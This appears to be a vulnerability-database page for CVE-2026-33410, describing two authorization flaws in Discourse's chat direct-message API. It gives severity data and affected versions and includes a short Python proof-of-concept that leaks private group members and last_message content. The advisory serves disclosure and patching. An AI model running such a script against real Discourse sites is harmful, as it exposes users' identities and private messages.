Security Vulnerability Report
中文
CVE-2026-33410 CVSS 5.4 MEDIUM

CVE-2026-33410

Published: 2026-03-19 22:16:43
Last Modified: 2026-03-24 20:54:31

Description

Discourse is an open-source discussion platform. Versions prior to 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 have two authorization issues in the chat direct message API. First, when creating a direct message channel or adding users to an existing one, the `target_groups` parameter was passed directly to the user resolution query without checking group or member visibility for the acting user. An authenticated chat user could craft an API request with a known private/hidden group name and receive a channel containing that group's members, leaking their identities. Second, `can_chat?` only checked group membership, not the `chat_enabled` user preference. A chat-disabled user could create or query DM channels between other users via the direct messages API, potentially exposing private `last_message` content from the serialized channel response. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:* - VULNERABLE
Discourse < 2026.3.0-latest.1
Discourse < 2026.2.1
Discourse < 2026.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit for CVE-2026-33410 # This PoC demonstrates the authorization bypass in Discourse Chat API. TARGET_URL = "http://target-discourse-instance.com" API_KEY = "YOUR_API_KEY" API_USERNAME = "YOUR_USERNAME" # Valid user, potentially chat-disabled headers = { "Api-Key": API_KEY, "Api-Username": API_USERNAME, "Content-Type": "application/json" } # Issue 1: Leak private group members via target_groups parameter print("[*] Attempting to leak private group members...") payload_create_dm = { "target_groups": ["private_hidden_group_name"], # Known private group name "message": "test" } # Endpoint might vary based on API version try: r = requests.post(f"{TARGET_URL}/chat/direct_messages", json=payload_create_dm, headers=headers) if r.status_code == 200: print("[+] Potential leak: Channel created/retrieved. Check response for user IDs.") print(r.json()) except Exception as e: print(f"[-] Error: {e}") # Issue 2: Chat-disabled user querying channels print("[*] Attempting to query channels as chat-disabled user...") try: r = requests.get(f"{TARGET_URL}/chat/direct_messages", headers=headers) if r.status_code == 200: print("[+] Successfully retrieved channels. Check for 'last_message' leaks.") print(r.json()) except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33410", "sourceIdentifier": "[email protected]", "published": "2026-03-19T22:16:42.827", "lastModified": "2026-03-24T20:54:31.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. Versions prior to 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 have two authorization issues in the chat direct message API. First, when creating a direct message channel or adding users to an existing one, the `target_groups` parameter was passed directly to the user resolution query without checking group or member visibility for the acting user. An authenticated chat user could craft an API request with a known private/hidden group name and receive a channel containing that group's members, leaking their identities. Second, `can_chat?` only checked group membership, not the `chat_enabled` user preference. A chat-disabled user could create or query DM channels between other users via the direct messages API, potentially exposing private `last_message` content from the serialized channel response. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available."}, {"lang": "es", "value": "Discourse es una plataforma de discusión de código abierto. Las versiones anteriores a 2026.3.0-latest.1, 2026.2.1 y 2026.1.2 tienen dos problemas de autorización en la API de mensajes directos del chat. Primero, al crear un canal de mensajes directos o añadir usuarios a uno existente, el parámetro 'target_groups' se pasaba directamente a la consulta de resolución de usuarios sin comprobar la visibilidad del grupo o de los miembros para el usuario que actuaba. Un usuario de chat autenticado podría elaborar una solicitud de API con un nombre de grupo privado/oculto conocido y recibir un canal que contuviera a los miembros de ese grupo, filtrando sus identidades. Segundo, 'can_chat?' solo comprobaba la pertenencia al grupo, no la preferencia de usuario 'chat_enabled'. Un usuario con el chat deshabilitado podría crear o consultar canales de MD entre otros usuarios a través de la API de mensajes directos, exponiendo potencialmente contenido privado de 'last_message' de la respuesta serializada del canal. Las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2 contienen un parche. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.2", "matchCriteriaId": "4BE96625-3609-410C-B41E-4A824C1A57C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.1", "matchCriteriaId": "FD31CF04-CF2F-4FB9-8880-9243BC7671A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/security/advisories/GHSA-2m5j-6v2r-cq2h", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}